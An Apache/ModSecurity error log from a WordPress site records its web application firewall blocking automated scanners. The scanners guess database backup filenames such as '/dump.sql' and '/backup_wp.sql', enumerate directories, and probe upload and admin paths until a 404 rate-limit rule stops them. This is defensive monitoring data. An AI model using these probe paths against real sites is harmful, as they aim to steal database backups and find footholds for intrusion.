[Mon Jan 05 13:31:36.514166 2026] [:error] [pid 5535:tid 5570] [client 43.159.128.247:59492] [client 43.159.128.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVtMuGnkedMjhVX0PTUTUgAAAEA"]
[Mon Jan 05 14:05:07.940474 2026] [:error] [pid 5632:tid 5655] [client 98.128.173.33:20738] [client 98.128.173.33] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/dump.sql"] [unique_id "aVtUk4N3ZWvlOh-nbt9m6QAAAMs"]
[Mon Jan 05 14:05:09.651007 2026] [:error] [pid 5534:tid 5565] [client 80.66.72.134:45898] [client 80.66.72.134] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/gigfr.sql"] [unique_id "aVtUlZNs9XmbR6unB0w_IgAAABY"]
[Mon Jan 05 14:05:10.349464 2026] [:error] [pid 5632:tid 5667] [client 185.220.101.39:36545] [client 185.220.101.39] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/.sql"] [unique_id "aVtUloN3ZWvlOh-nbt9m6gAAANc"]
[Mon Jan 05 14:05:12.410068 2026] [:error] [pid 5632:tid 5668] [client 107.189.11.111:61308] [client 107.189.11.111] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/bck.sql"] [unique_id "aVtUmIN3ZWvlOh-nbt9m7gAAANg"]
[Mon Jan 05 14:05:16.363249 2026] [:error] [pid 5632:tid 5659] [client 80.94.92.92:42338] [client 80.94.92.92] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/backup_wp.sql"] [unique_id "aVtUnIN3ZWvlOh-nbt9m7wAAAM8"]
[Mon Jan 05 14:05:19.259880 2026] [:error] [pid 5632:tid 5648] [client 192.42.116.186:24928] [client 192.42.116.186] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/gigf.sql"] [unique_id "aVtUn4N3ZWvlOh-nbt9m8gAAAMQ"]
[Mon Jan 05 14:05:19.981795 2026] [:error] [pid 6680:tid 6694] [client 45.84.107.54:41557] [client 45.84.107.54] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/nts_com.sql"] [unique_id "aVtUn6E58uNoazzTmx2LuAAAAQw"]
[Mon Jan 05 14:05:20.924141 2026] [:error] [pid 5536:tid 5612] [client 5.253.247.27:60884] [client 5.253.247.27] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/gigfra.sql"] [unique_id "aVtUoARtMZNG6xI8yDxwzAAAAI8"]
[Mon Jan 05 14:05:22.687178 2026] [:error] [pid 5632:tid 5657] [client 109.70.100.8:46722] [client 109.70.100.8] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/ents_com.sql"] [unique_id "aVtUooN3ZWvlOh-nbt9m9QAAAM0"]
[Mon Jan 05 14:05:24.055309 2026] [:error] [pid 6680:tid 6696] [client 109.70.100.7:52918] [client 109.70.100.7] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/latest.sql"] [unique_id "aVtUpKE58uNoazzTmx2LvAAAAQ4"]
[Mon Jan 05 14:05:25.053809 2026] [:error] [pid 54081:tid 54085] [client 178.20.55.182:43346] [client 178.20.55.182] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/ments_com.sql"] [unique_id "aVtUpVL4jLgtF-b9w4cnkwAAAUE"]
[Mon Jan 05 14:05:25.945978 2026] [:error] [pid 5534:tid 5553] [client 194.15.36.117:36484] [client 194.15.36.117] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/gigfragm.sql"] [unique_id "aVtUpZNs9XmbR6unB0w_KQAAAAo"]
[Mon Jan 05 14:05:27.874903 2026] [:error] [pid 54081:tid 54092] [client 185.220.101.162:41595] [client 185.220.101.162] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/back.sql"] [unique_id "aVtUp1L4jLgtF-b9w4cnmAAAAUg"]
[Mon Jan 05 14:05:28.559025 2026] [:error] [pid 54081:tid 54107] [client 45.80.158.249:22724] [client 45.80.158.249] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/igfragments_com.sql"] [unique_id "aVtUqFL4jLgtF-b9w4cnmQAAAVc"]
[Mon Jan 05 14:05:30.522631 2026] [:error] [pid 5536:tid 5610] [client 124.198.131.223:42730] [client 124.198.131.223] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/gi.sql"] [unique_id "aVtUqgRtMZNG6xI8yDxw0wAAAI0"]
[Mon Jan 05 14:05:32.414388 2026] [:error] [pid 5536:tid 5616] [client 185.220.101.50:46357] [client 185.220.101.50] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/gfragments_com.sql"] [unique_id "aVtUrARtMZNG6xI8yDxw2gAAAJM"]
[Mon Jan 05 17:23:00.338856 2026] [:error] [pid 54081:tid 54087] [client 94.130.222.48:54141] [client 94.130.222.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/userfuns.php"] [unique_id "aVuC9FL4jLgtF-b9w4dY6wAAAUM"], referer: www.google.com
[Mon Jan 05 18:24:48.448045 2026] [autoindex:error] [pid 28407:tid 28424] [client 156.146.33.76:44912] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:24:48.746770 2026] [autoindex:error] [pid 28407:tid 28428] [client 156.146.33.76:44912] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:24:49.044802 2026] [autoindex:error] [pid 28407:tid 28414] [client 156.146.33.76:44912] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:24:49.343266 2026] [autoindex:error] [pid 28407:tid 28413] [client 156.146.33.76:44912] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:24:49.654284 2026] [autoindex:error] [pid 28407:tid 28417] [client 156.146.33.76:44912] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:24:51.054218 2026] [autoindex:error] [pid 28407:tid 28422] [client 156.146.33.76:44912] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:24:51.355395 2026] [autoindex:error] [pid 28407:tid 28412] [client 156.146.33.76:44912] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:24:58.781562 2026] [autoindex:error] [pid 28407:tid 28427] [client 156.146.33.76:44912] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:24:59.391666 2026] [autoindex:error] [pid 28407:tid 28433] [client 156.146.33.76:44912] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:24:59.689675 2026] [autoindex:error] [pid 28407:tid 28435] [client 156.146.33.76:44912] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:24:59.992247 2026] [autoindex:error] [pid 28407:tid 28423] [client 156.146.33.76:44912] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:25:00.292681 2026] [autoindex:error] [pid 28407:tid 28410] [client 156.146.33.76:44912] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:25:05.297389 2026] [autoindex:error] [pid 28407:tid 28422] [client 156.146.33.76:44912] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:25:11.554315 2026] [:error] [pid 28407:tid 28428] [client 156.146.33.76:44912] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web/"] [unique_id "aVuRh9ercd3ptydUzM0rIwAAAZE"]
[Mon Jan 05 18:25:12.182597 2026] [:error] [pid 5632:tid 5667] [client 156.146.33.76:53368] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web/"] [unique_id "aVuRiIN3ZWvlOh-nbt-q3AAAANc"]
[Mon Jan 05 18:25:12.764895 2026] [:error] [pid 54081:tid 54092] [client 156.146.33.76:53374] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web/"] [unique_id "aVuRiFL4jLgtF-b9w4dqBgAAAUg"]
[Mon Jan 05 18:25:13.346614 2026] [:error] [pid 5536:tid 5618] [client 156.146.33.76:53388] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web/"] [unique_id "aVuRiQRtMZNG6xI8yDzGRAAAAJU"]
[Mon Jan 05 18:25:13.926644 2026] [:error] [pid 5535:tid 5593] [client 156.146.33.76:53392] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/"] [unique_id "aVuRiWnkedMjhVX0PTVXRQAAAFc"]
[Mon Jan 05 18:25:14.517969 2026] [:error] [pid 28407:tid 28435] [client 156.146.33.76:53394] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/"] [unique_id "aVuRitercd3ptydUzM0rJQAAAZg"]
[Mon Jan 05 18:25:15.103816 2026] [:error] [pid 28407:tid 28432] [client 156.146.33.76:53400] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/"] [unique_id "aVuRi9ercd3ptydUzM0rJgAAAZU"]
[Mon Jan 05 18:25:15.695109 2026] [:error] [pid 5534:tid 5567] [client 156.146.33.76:53414] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/"] [unique_id "aVuRi5Ns9XmbR6unB0yb0AAAABg"]
[Mon Jan 05 18:25:16.314486 2026] [:error] [pid 28407:tid 28426] [client 156.146.33.76:56460] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/"] [unique_id "aVuRjNercd3ptydUzM0rKgAAAY8"]
[Mon Jan 05 18:25:16.904700 2026] [:error] [pid 5632:tid 5652] [client 156.146.33.76:56466] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/"] [unique_id "aVuRjIN3ZWvlOh-nbt-q6wAAAMg"]
[Mon Jan 05 18:25:17.488088 2026] [:error] [pid 5535:tid 5577] [client 156.146.33.76:56480] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/"] [unique_id "aVuRjWnkedMjhVX0PTVXSwAAAEc"]
[Mon Jan 05 18:25:18.067578 2026] [:error] [pid 5535:tid 5593] [client 156.146.33.76:56490] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/"] [unique_id "aVuRjmnkedMjhVX0PTVXUQAAAFc"]
[Mon Jan 05 18:25:18.648853 2026] [:error] [pid 5534:tid 5560] [client 156.146.33.76:56502] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/"] [unique_id "aVuRjpNs9XmbR6unB0yb1QAAABE"]
[Mon Jan 05 18:25:19.228266 2026] [:error] [pid 5534:tid 5546] [client 156.146.33.76:56512] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/"] [unique_id "aVuRj5Ns9XmbR6unB0yb1wAAAAM"]
[Mon Jan 05 18:25:19.816757 2026] [:error] [pid 54081:tid 54098] [client 156.146.33.76:56518] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/"] [unique_id "aVuRj1L4jLgtF-b9w4dqEAAAAU4"]
[Mon Jan 05 18:25:20.398898 2026] [:error] [pid 5534:tid 5548] [client 156.146.33.76:56534] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/"] [unique_id "aVuRkJNs9XmbR6unB0yb2gAAAAU"]
[Mon Jan 05 18:25:20.987756 2026] [:error] [pid 5536:tid 5603] [client 156.146.33.76:56550] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Admin/uploads/"] [unique_id "aVuRkARtMZNG6xI8yDzGSQAAAIY"]
[Mon Jan 05 18:25:21.572611 2026] [:error] [pid 5534:tid 5562] [client 156.146.33.76:56558] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Admin/uploads/"] [unique_id "aVuRkZNs9XmbR6unB0yb4AAAABM"]
[Mon Jan 05 18:25:22.151971 2026] [:error] [pid 5536:tid 5606] [client 156.146.33.76:56570] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Admin/uploads/"] [unique_id "aVuRkgRtMZNG6xI8yDzGSgAAAIk"]
[Mon Jan 05 18:25:22.737124 2026] [:error] [pid 54081:tid 54103] [client 156.146.33.76:56574] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Admin/uploads/"] [unique_id "aVuRklL4jLgtF-b9w4dqEgAAAVM"]
[Mon Jan 05 18:25:23.338241 2026] [:error] [pid 5534:tid 5564] [client 156.146.33.76:56582] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/"] [unique_id "aVuRk5Ns9XmbR6unB0yb5QAAABU"]
[Mon Jan 05 18:25:23.915972 2026] [:error] [pid 5536:tid 5610] [client 156.146.33.76:56588] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/"] [unique_id "aVuRkwRtMZNG6xI8yDzGTgAAAI0"]
